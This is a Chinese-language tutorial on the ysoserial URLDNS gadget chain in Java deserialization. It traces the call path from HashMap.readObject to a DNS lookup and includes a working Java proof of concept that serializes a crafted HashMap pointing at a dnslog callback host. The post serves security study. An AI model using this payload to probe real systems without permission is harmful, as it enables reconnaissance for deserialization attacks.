URLDNS链

概述

​ URLDNS就是ysoserial中一个利用链的名字。但准确来说,这个其实不能称作“利用链”。因为其参数不 是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。

​ 虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合在检测反序列化漏洞时使用。

优点:

  • 使用Java内置的类构造,
  • 对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

URLDNS链调用栈

HashMap重写了writeObject和readObject,没有使用JDK统一的默认序列化与反序列化

image-20240423230306623

gadget分析

​ 在Java反序列化中,会调用被反序列化类的readObject方法,当readObject方法被重写不当时,就会产生漏洞。

分析:HashMap类的readObject方法,先调用putVal方法,然后调用hash方法(hash方法处理完后的结果再给putVal方法)

image-20240423230426024

分析hash方法:传入一个对象key,key不为null就调用该对象的hashCode方法

image-20240423230453291

继续分析hashCode方法:这里可以不用继续跟进HashMap类了,因为hash方法可以传入对象,所以可以调用任意类的hashCode方法;

​ 这里使用URL类的hashCode方法:有一个判断:hashCode变量不为-1,就会进入if判断,不会执行下面的hashCode方法;并且该hashCode方法是URLStreamHandler类的,且把当前URL对象传入作为参数。hashCode变量的默认值是-1。(handler使用transient关键字定义,不参与序列化)

image-20240423230518590

image-20240423230536422

​ 关于前面的hashCode变量的值:根据链子,必须让他第一次不为-1,直接返回hashCode变量;第二次要让hashCode变量为-1,才能跳出if判断,进而执行URLStreamHandler类的hashCode方法。

原因:

​ 第一次不为 -1,第二次为 -1(利用反射来控制hashCode变量的值);这里需要分析HashMap类的put方法,通过该put方法传入键值对的时候,发现也会调用hash –> hashCode(和readObject方法一样,这样的话,在URL对象传入到HashMap的时候,就会还没序列化就触发了DNS请求,也就无法校验是否存在序列化漏洞了

image-20240423230620913

跟进URLStreamHandler类的hashCode方法,然后跟进getHostAddress方法

image-20240423230654401

最终到getByName方法:该方法会对传入的域名进行IP解析,相当于一次DNS请求(以上就是该URLDNS链的基本分析)

image-20240423230713415

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class dnsTest {
public static void main(String[] args) throws Exception {
HashMap hashmap = new HashMap();
URL url = new URL("http://zq5040.dnslog.cn");

// 反射修改hashCode值不等于 -1,不让HashMap类的put方法触发dns请求,因为URL类中hashCode变量初始化值为 -1
Class cls = Class.forName("java.net.URL"); // 类的静态代码块执行,其它代码一律不执行
Field f = cls.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1);

// 把URL对象加入的HashMap对象中,利用put方法
hashmap.put(url,"234"); // 此处的234为随机值,随便什么都可以,只是为了把URL对象传入进去,满足put方法的语法
f.set(url,-1); // 跳出if判断,执行hashCode方法

// 序列化:在序列化时,hashCode变量此时的值为-1;前面通过反射改成1,是避免HashMap类中的put方法调用到hashCode方法触发DNS请求
SerializeDemo(hashmap);

// 反序列化
DeserializeDemo();
}

public static void SerializeDemo(Object hashmap) throws IOException {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(hashmap);
outputStream.close();
}

public static void DeserializeDemo() throws IOException, ClassNotFoundException {
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
Object hashmap = inputStream.readObject();
System.out.println(hashmap);
inputStream.close();
}

}

先序列化,然后对序列化的ser.bin的文件进行反序列化,触发DNS请求

image-20240423230758531

注:

  • DNS请求记录会在本地进行缓存,第二次反序列化时;如果没有收到请求的话,建议换一个域名或者清空DNS缓存。通过反射改变class对象的属性。
  • Class.forName():forName方法默认会进行类加载,如果指定该方法的第二个参数是false的话,就不会进行类加载,也就不会执行静态代码块。